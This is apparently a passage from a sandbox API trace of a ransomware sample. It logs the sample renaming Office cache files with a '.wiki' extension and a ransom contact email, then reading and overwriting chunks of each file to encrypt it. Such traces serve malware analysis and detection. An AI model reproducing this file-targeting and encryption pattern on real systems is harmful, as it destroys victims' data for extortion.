(lpString=".pdf") returned 4 [0052.242] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0052.242] lstrlenW (lpString=".xls") returned 4 [0052.242] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0052.242] lstrlenW (lpString=".xlsx") returned 5 [0052.242] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0052.242] lstrlenW (lpString=".ppt") returned 4 [0052.242] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0052.242] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab") returned 74 [0052.242] lstrlenW (lpString=".zip") returned 4 [0052.242] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0052.242] lstrlenW (lpString=".rar") returned 4 [0052.242] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0052.242] lstrlenW (lpString=".bz2") returned 4 [0052.242] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0052.242] lstrlenW (lpString=".7z") returned 3 [0052.242] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0052.242] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab") returned 74 [0052.242] lstrlenW (lpString=".dbf") returned 4 [0052.242] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0052.242] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab") returned 74 [0052.242] lstrlenW (lpString=".1cd") returned 4 [0052.242] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0052.242] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab") returned 74 [0052.242] lstrlenW (lpString=".jpg") returned 4 [0052.242] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0052.242] lstrcmpiW (lpString1=".msi", lpString2=".wiki") returned -1 [0052.243] lstrlenW (lpString="VisioMUI.msi") returned 12 [0052.243] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiomui.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0052.243] GetFileSizeEx (in: hFile=0x1fc, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=2797568) returned 1 [0052.243] CloseHandle (hObject=0x1fc) returned 1 [0052.243] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiomui.msi")) returned 0x2020 [0052.243] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiomui.msi.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0052.243] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiomui.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiomui.msi.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 1 [0052.243] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiomui.msi.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0052.244] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfc6c | out: lpNewFilePointer=0x0) returned 1 [0052.244] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfc2c | out: lpNewFilePointer=0x0) returned 1 [0052.244] ReadFile (in: hFile=0x1fc, lpBuffer=0x3a80058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2ecfc38, lpOverlapped=0x0 | out: lpBuffer=0x3a80058*, lpNumberOfBytesRead=0x2ecfc38*=0x40000, lpOverlapped=0x0) returned 1 [0052.591] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0xe3aaa, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfc2c | out: lpNewFilePointer=0x0) returned 1 [0052.591] ReadFile (in: hFile=0x1fc, lpBuffer=0x3ac0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2ecfc38, lpOverlapped=0x0 | out: lpBuffer=0x3ac0058*, lpNumberOfBytesRead=0x2ecfc38*=0x40000, lpOverlapped=0x0) returned 1 [0052.599] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2ecfc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0052.599] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x26b000, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfc2c | out: lpNewFilePointer=0x0) returned 1 [0052.599] ReadFile (in: hFile=0x1fc, lpBuffer=0x3b00058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2ecfc38, lpOverlapped=0x0 | out: lpBuffer=0x3b00058*, lpNumberOfBytesRead=0x2ecfc38*=0x40000, lpOverlapped=0x0) returned 1 [0052.613] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0052.613] WriteFile (in: hFile=0x1fc, lpBuffer=0x3a80020*, nNumberOfBytesToWrite=0xc0104, lpNumberOfBytesWritten=0x2ecfcb0, lpOverlapped=0x0 | out: lpBuffer=0x3a80020*, lpNumberOfBytesWritten=0x2ecfcb0*=0xc0104, lpOverlapped=0x0) returned 1 [0052.630] SetEndOfFile (hFile=0x1fc) returned 1 [0052.630] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x40000) returned 0x40d5508 [0052.630] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfc7c | out: lpNewFilePointer=0x0) returned 1 [0052.631] WriteFile (in: hFile=0x1fc, lpBuffer=0x40d5508*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2ecfc88, lpOverlapped=0x0 | out: lpBuffer=0x40d5508*, lpNumberOfBytesWritten=0x2ecfc88*=0x40000, lpOverlapped=0x0) returned 1 [0052.632] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0xe3aaa, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfc7c | out: lpNewFilePointer=0x0) returned 1 [0052.632] WriteFile (in: hFile=0x1fc, lpBuffer=0x40d5508*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2ecfc88, lpOverlapped=0x0 | out: lpBuffer=0x40d5508*, lpNumberOfBytesWritten=0x2ecfc88*=0x40000, lpOverlapped=0x0) returned 1 [0052.936] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x26b000, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfc7c | out: lpNewFilePointer=0x0) returned 1 [0052.936] WriteFile (in: hFile=0x1fc, lpBuffer=0x40d5508*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2ecfc88, lpOverlapped=0x0 | out: lpBuffer=0x40d5508*, lpNumberOfBytesWritten=0x2ecfc88*=0x40000, lpOverlapped=0x0) returned 1 [0052.938] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x40d5508 | out: hHeap=0x6c0000) returned 1 [0052.939] CloseHandle (hObject=0x1fc) returned 1 [0052.939] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0052.939] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi") returned 75 [0052.939] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi") returned 75 [0052.939] lstrlenW (lpString=".doc") returned 4 [0052.939] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0052.939] lstrlenW (lpString=".docx") returned 5 [0052.939] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0052.939] lstrlenW (lpString=".pdf") returned 4 [0052.939] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0052.940] lstrlenW (lpString=".xls") returned 4 [0052.940] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0052.940] lstrlenW (lpString=".xlsx") returned 5 [0052.940] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0052.940] lstrlenW (lpString=".ppt") returned 4 [0052.940] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0052.940] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi") returned 75 [0052.940] lstrlenW (lpString=".zip") returned 4 [0052.940] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0052.940] lstrlenW (lpString=".rar") returned 4 [0052.940] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0052.940] lstrlenW (lpString=".bz2") returned 4 [0052.940] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0052.940] lstrlenW (lpString=".7z") returned 3 [0052.940] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0052.940] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi") returned 75 [0052.940] lstrlenW (lpString=".dbf") returned 4 [0052.940] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0052.940] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi") returned 75 [0052.940] lstrlenW (lpString=".1cd") returned 4 [0052.940] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0052.940] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi") returned 75 [0052.940] lstrlenW (lpString=".jpg") returned 4 [0052.940] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0052.940] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi") returned 75 [0052.940] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi") returned 75 [0052.940] lstrlenW (lpString=".doc") returned 4 [0052.940] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0052.940] lstrlenW (lpString=".docx") returned 5 [0052.940] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0052.940] lstrlenW (lpString=".pdf") returned 4 [0052.940] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0052.940] lstrlenW (lpString=".xls") returned 4 [0052.940] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0052.941] lstrlenW (lpString=".xlsx") returned 5 [0052.941] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0052.941] lstrlenW (lpString=".ppt") returned 4 [0052.941] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0052.941] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi") returned 75 [0052.941] lstrlenW (lpString=".zip") returned 4 [0052.941] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0052.941] lstrlenW (lpString=".rar") returned 4 [0052.941] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0052.941] lstrlenW (lpString=".bz2") returned 4 [0052.941] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0052.941] lstrlenW (lpString=".7z") returned 3 [0052.941] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0052.941] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi") returned 75 [0052.941] lstrlenW (lpString=".dbf") returned 4 [0052.941] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0052.941] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi") returned 75 [0052.941] lstrlenW (lpString=".1cd") returned 4 [0052.941] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0052.941] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi") returned 75 [0052.941] lstrlenW (lpString=".jpg") returned 4 [0052.941] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0052.941] lstrcmpiW (lpString1=".cab", lpString2=".wiki") returned -1 [0052.941] lstrlenW (lpString="GrooveLR.cab") returned 12 [0052.941] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovelr.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0052.942] GetFileSizeEx (in: hFile=0x1fc, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=4095519) returned 1 [0052.942] CloseHandle (hObject=0x1fc) returned 1 [0052.942] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovelr.cab")) returned 0x2020 [0052.942] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovelr.cab.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0052.942] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovelr.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovelr.cab.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 1 [0052.943] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovelr.cab.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0052.943] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfc6c | out: lpNewFilePointer=0x0) returned 1 [0052.943] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfc2c | out: lpNewFilePointer=0x0) returned 1 [0052.943] ReadFile (in: hFile=0x1fc, lpBuffer=0x3a80058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2ecfc38, lpOverlapped=0x0 | out: lpBuffer=0x3a80058*, lpNumberOfBytesRead=0x2ecfc38*=0x40000, lpOverlapped=0x0) returned 1 [0052.947] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x14d4b5, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfc2c | out: lpNewFilePointer=0x0) returned 1 [0052.947] ReadFile (in: hFile=0x1fc, lpBuffer=0x3ac0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2ecfc38, lpOverlapped=0x0 | out: lpBuffer=0x3ac0058*, lpNumberOfBytesRead=0x2ecfc38*=0x40000, lpOverlapped=0x0) returned 1 [0052.950] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2ecfc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0052.950] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x3a7e1f, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfc2c | out: lpNewFilePointer=0x0) returned 1 [0052.950] ReadFile (in: hFile=0x1fc, lpBuffer=0x3b00058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2ecfc38, lpOverlapped=0x0 | out: lpBuffer=0x3b00058*, lpNumberOfBytesRead=0x2ecfc38*=0x40000, lpOverlapped=0x0) returned 1 [0052.965] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0052.965] WriteFile (in: hFile=0x1fc, lpBuffer=0x3a80020*, nNumberOfBytesToWrite=0xc0104, lpNumberOfBytesWritten=0x2ecfcb0, lpOverlapped=0x0 | out: lpBuffer=0x3a80020*, lpNumberOfBytesWritten=0x2ecfcb0*=0xc0104, lpOverlapped=0x0) returned 1 [0053.325] SetEndOfFile (hFile=0x1fc) returned 1 [0053.326] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x40000) returned 0x40a54f8 [0053.329] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfc7c | out: lpNewFilePointer=0x0) returned 1 [0053.329] WriteFile (in: hFile=0x1fc, lpBuffer=0x40a54f8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2ecfc88, lpOverlapped=0x0 | out: lpBuffer=0x40a54f8*, lpNumberOfBytesWritten=0x2ecfc88*=0x40000, lpOverlapped=0x0) returned 1 [0053.655] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x14d4b5, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfc7c | out: lpNewFilePointer=0x0) returned 1 [0053.655] WriteFile (in: hFile=0x1fc, lpBuffer=0x40a54f8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2ecfc88, lpOverlapped=0x0 | out: lpBuffer=0x40a54f8*, lpNumberOfBytesWritten=0x2ecfc88*=0x40000, lpOverlapped=0x0) returned 1 [0053.657] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x3a7e1f, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfc7c | out: lpNewFilePointer=0x0) returned 1 [0053.657] WriteFile (in: hFile=0x1fc, lpBuffer=0x40a54f8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2ecfc88, lpOverlapped=0x0 | out: lpBuffer=0x40a54f8*, lpNumberOfBytesWritten=0x2ecfc88*=0x40000, lpOverlapped=0x0) returned 1 [0053.659] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x40a54f8 | out: hHeap=0x6c0000) returned 1 [0053.662] CloseHandle (hObject=0x1fc) returned 1 [0053.662] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0053.662] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab") returned 75 [0053.662] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab") returned 75 [0053.662] lstrlenW (lpString=".doc") returned 4 [0053.662] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0053.662] lstrlenW (lpString=".docx") returned 5 [0053.662] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0053.662] lstrlenW (lpString=".pdf") returned 4 [0053.662] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0053.662] lstrlenW (lpString=".xls") returned 4 [0053.662] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0053.662] lstrlenW (lpString=".xlsx") returned 5 [0053.662] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0053.662] lstrlenW (lpString=".ppt") returned 4 [0053.663] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0053.663] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab") returned 75 [0053.663] lstrlenW (lpString=".zip") returned 4 [0053.663] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0053.663] lstrlenW (lpString=".rar") returned 4 [0053.663] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0053.663] lstrlenW (lpString=".bz2") returned 4 [0053.663] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0053.663] lstrlenW (lpString=".7z") returned 3 [0053.663] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0053.663] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab") returned 75 [0053.663] lstrlenW (lpString=".dbf") returned 4 [0053.663] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0053.663] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab") returned 75 [0053.663] lstrlenW (lpString=".1cd") returned 4 [0053.663] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0053.663] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab") returned 75 [0053.663] lstrlenW (lpString=".jpg") returned 4 [0053.663] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0053.663] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab") returned 75 [0053.663] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab") returned 75 [0053.663] lstrlenW (lpString=".doc") returned 4 [0053.663] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0053.663] lstrlenW (lpString=".docx") returned 5 [0053.663] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0053.663] lstrlenW (lpString=".pdf") returned 4 [0053.663] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0053.663] lstrlenW (lpString=".xls") returned 4 [0053.663] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0053.663] lstrlenW (lpString=".xlsx") returned 5 [0053.663] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0053.663] lstrlenW (lpString=".ppt") returned 4 [0053.663] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0053.663] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab") returned 75 [0053.663] lstrlenW (lpString=".zip") returned 4 [0053.664] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0053.664] lstrlenW (lpString=".rar") returned 4 [0053.664] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0053.664] lstrlenW (lpString=".bz2") returned 4 [0053.664] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0053.664] lstrlenW (lpString=".7z") returned 3 [0053.664] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0053.664] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab") returned 75 [0053.664] lstrlenW (lpString=".dbf") returned 4 [0053.664] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0053.664] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab") returned 75 [0053.664] lstrlenW (lpString=".1cd") returned 4 [0053.664] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0053.664] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab") returned 75 [0053.664] lstrlenW (lpString=".jpg") returned 4 [0053.664] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0053.664] lstrcmpiW (lpString1=".dll", lpString2=".wiki") returned -1 [0053.664] lstrlenW (lpString="dwdcw20.dll") returned 11 [0053.664] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\dwdcw20.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0053.898] GetFileSizeEx (in: hFile=0x214, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=526176) returned 1 [0053.898] CloseHandle (hObject=0x214) returned 1 [0053.898] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\dwdcw20.dll")) returned 0x2020 [0053.898] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\dwdcw20.dll.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0053.898] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\dwdcw20.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0053.898] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0053.898] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0053.898] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\dwdcw20.dll.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0054.664] GetLastError () returned 0x0 [0054.664] ReadFile (in: hFile=0x214, lpBuffer=0x3a80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a80020*, lpNumberOfBytesRead=0x2ecfed4*=0x80760, lpOverlapped=0x0) returned 1 [0054.677] WriteFile (in: hFile=0x1e8, 